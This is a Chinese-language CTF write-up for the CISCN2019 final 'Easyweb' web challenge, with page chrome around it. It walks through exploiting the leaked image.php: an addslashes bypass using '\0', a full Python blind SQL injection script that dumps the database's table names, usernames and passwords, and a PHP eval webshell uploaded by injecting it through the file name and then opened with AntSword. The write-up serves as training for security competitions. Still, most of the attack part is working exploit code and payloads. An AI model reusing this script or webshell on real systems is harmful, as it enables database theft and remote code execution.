[CISCN2019 总决赛 Day2 Web1]Easyweb

[CISCN2019 总决赛 Day2 Web1]Easyweb

随意的输入账号密码发现除了图片发生变化意外其他的也没啥变化,也没有登录上去,f12查看源码,发现了image.php

如果直接查看image.php的话,只是把图片放大了而已,dirsearch扫描一下发现了robots.txt

查看发现了.php.bak备份文件

联想到image.php,于是就查看(/image.php.bak),结果下载源码得到

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

其中有一个addslashes函数:

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(')
  • 双引号(")
  • 反斜杠(\)
  • NULL

提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

例如:

在每个双引号(")前添加反斜杠:

<?php
  $str = addslashes('Shanghai is the "biggest" city in China.');
  echo($str);
?>
运行实例:
Shanghai is the \"biggest\" city in China.

注意php代码中给的:select * from images where id='{$id}' or path='{$path}',以及str_replace函数,我们只能用转义字符\或单引号自己破坏,但是用单引号的话会被替换掉,所以只能用\,str_replace第一个参数是\\0,如果我们传入\0,首先他会经过addslashes函数变成了\\0,这个时候在经过str_replace函数变成了\。构造payload:

image.php?id=\0&path=%20or%20ascii(substr((select(database())),1,1))>1%23

然后就是脚本小子火速出击,网上搜索脚本:

import requests
import time
def exp(url_format,length=None):
    rlt = ''
    url  = url_format
    if length==None:
        length = 30
    for l in range(1,length+1):
        begin = 32
        ends = 126
        tmp = (begin+ends)//2
        while begin<ends:
            r = requests.get(url.format(l,tmp))
            if r.content!=b'':
                begin = tmp+1
                tmp = (begin+ends)//2
            else:
                ends = tmp
                tmp = (begin+ends)//2
        if tmp == 32:
            break
        rlt+=chr(tmp)
        print(rlt)
    return rlt.rstrip()
url ='http://69242336-234d-4e49-80a5-6f2b1d9ec930.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr(database(),{},1))>{}%23'
print('数据库名为:',exp(url))
url ='http://69242336-234d-4e49-80a5-6f2b1d9ec930.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x636973636e66696e616c),{},1))>{}%23'
print('表名为:',exp(url))
url ='http://69242336-234d-4e49-80a5-6f2b1d9ec930.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=0x636973636e66696e616c and table_name=0x7573657273),{},1))>{}%23'
print('列名为:',exp(url))
url ='http://69242336-234d-4e49-80a5-6f2b1d9ec930.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(username)%20from%20users),{},1))>{}%23'
print('用户名为:',exp(url))
url ='http://69242336-234d-4e49-80a5-6f2b1d9ec930.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(password)%20from%20users),{},1))>{}%23'
print('密码为:',exp(url))

爆出来:数据库名为: ciscnfinal   表名为: images,users   列名为: username,password   用户名为: admin   密码为: 5a8fdc3b65d3f811e452

然后账号密码直接登录即可,登陆成功后有一个上传文件的按钮

应该是文件上传漏洞,因为源码中说了上传image/jpeg,随意选择一张图片上传,发现可以上传,并且上传成功,于是写了一个txt内容是:

GIF89a
<script language="php">
eval($_POST['hack']);
</script>

改后缀为png后上传,上传成功,并且给了路径

蚁剑连接,但是加载不进去,说明这里错了,bp抓包发现了filename

 

由于用户名只能是admin无法利用,所以考虑文件名注入,可以使用短标签绕过:

<?=@eval($_POST['hack']);?>,发包即可回显路径

 蚁剑连接url:http://xxxxx.buuoj.cn:81/logs/upload.76310c6b13ee5020f251ac849a1686ee.log.php

 根目录下就是flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值